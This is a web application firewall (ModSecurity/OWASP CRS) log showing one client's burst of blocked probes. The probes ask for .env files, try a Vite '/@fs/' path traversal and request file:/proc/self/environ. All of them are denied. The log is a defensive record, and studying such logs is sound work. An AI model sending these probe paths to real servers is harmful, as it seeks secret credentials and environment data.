[Mon Oct 26 07:05:05.414468 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at8z4X3wwcXP35BsOaDumAAAAAw"]
[Mon Oct 26 07:05:05.445177 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4YeGqS3CXz8ptQGTqwAAAAI"]
[Mon Oct 26 07:05:05.450129 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxQAAAAc"]
[Mon Oct 26 07:05:05.450584 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxQAAAAc"]
[Mon Oct 26 07:05:05.450875 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxQAAAAc"]
[Mon Oct 26 07:05:05.553177 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4bkwJvKDxgyGEF95igAAABE"]
[Mon Oct 26 07:05:05.553715 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4bkwJvKDxgyGEF95igAAABE"]
[Mon Oct 26 07:05:05.554072 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4bkwJvKDxgyGEF95igAAABE"]
[Mon Oct 26 07:05:05.588435 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HQAAABQ"]
[Mon Oct 26 07:05:05.588929 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HQAAABQ"]
[Mon Oct 26 07:05:05.589193 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HQAAABQ"]
[Mon Oct 26 07:05:05.604306 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4YeGqS3CXz8ptQGTqwAAAAI"]
[Mon Oct 26 07:05:05.604635 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4YeGqS3CXz8ptQGTqwAAAAI"]
[Mon Oct 26 07:05:05.719036 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at8z4XWyvchEwsg-8-hoLAAAAAs"]
[Mon Oct 26 07:05:05.722930 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RtqC-HENAKDpEgElgAAABU"]
[Mon Oct 26 07:05:05.723029 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RtqC-HENAKDpEgElgAAABU"]
[Mon Oct 26 07:05:05.723531 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RtqC-HENAKDpEgElgAAABU"]
[Mon Oct 26 07:05:05.723788 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RtqC-HENAKDpEgElgAAABU"]
[Mon Oct 26 07:05:05.761353 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at8z4XWyvchEwsg-8-hoLAAAAAs"]
[Mon Oct 26 07:05:05.761698 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at8z4XWyvchEwsg-8-hoLAAAAAs"]
[Mon Oct 26 07:05:05.886005 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4Sz2IVlcktcA6K04XQAAABg"]
[Mon Oct 26 07:05:05.886606 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4Sz2IVlcktcA6K04XQAAABg"]
[Mon Oct 26 07:05:05.887023 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4Sz2IVlcktcA6K04XQAAABg"]
[Mon Oct 26 07:05:05.888590 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxgAAAAc"]
[Mon Oct 26 07:05:05.889231 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxgAAAAc"]
[Mon Oct 26 07:05:05.889534 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4RJqpTbSe9f2_suCxgAAAAc"]
[Mon Oct 26 07:05:05.995189 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4RtqC-HENAKDpEgElwAAABU"]
[Mon Oct 26 07:05:05.995655 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4RtqC-HENAKDpEgElwAAABU"]
[Mon Oct 26 07:05:05.996003 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4RtqC-HENAKDpEgElwAAABU"]
[Mon Oct 26 07:05:06.015918 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4n3wwcXP35BsOaDumQAAAAw"]
[Mon Oct 26 07:05:06.051102 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4n3wwcXP35BsOaDumQAAAAw"]
[Mon Oct 26 07:05:06.051508 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4n3wwcXP35BsOaDumQAAAAw"]
[Mon Oct 26 07:05:06.062658 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4hJqpTbSe9f2_suCxwAAAAc"]
[Mon Oct 26 07:05:06.063291 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4hJqpTbSe9f2_suCxwAAAAc"]
[Mon Oct 26 07:05:06.063571 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4hJqpTbSe9f2_suCxwAAAAc"]
[Mon Oct 26 07:05:06.064646 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4uvTeiIeeTOEx2-3HgAAABQ"]
[Mon Oct 26 07:05:06.065053 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4uvTeiIeeTOEx2-3HgAAABQ"]
[Mon Oct 26 07:05:06.065273 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4uvTeiIeeTOEx2-3HgAAABQ"]
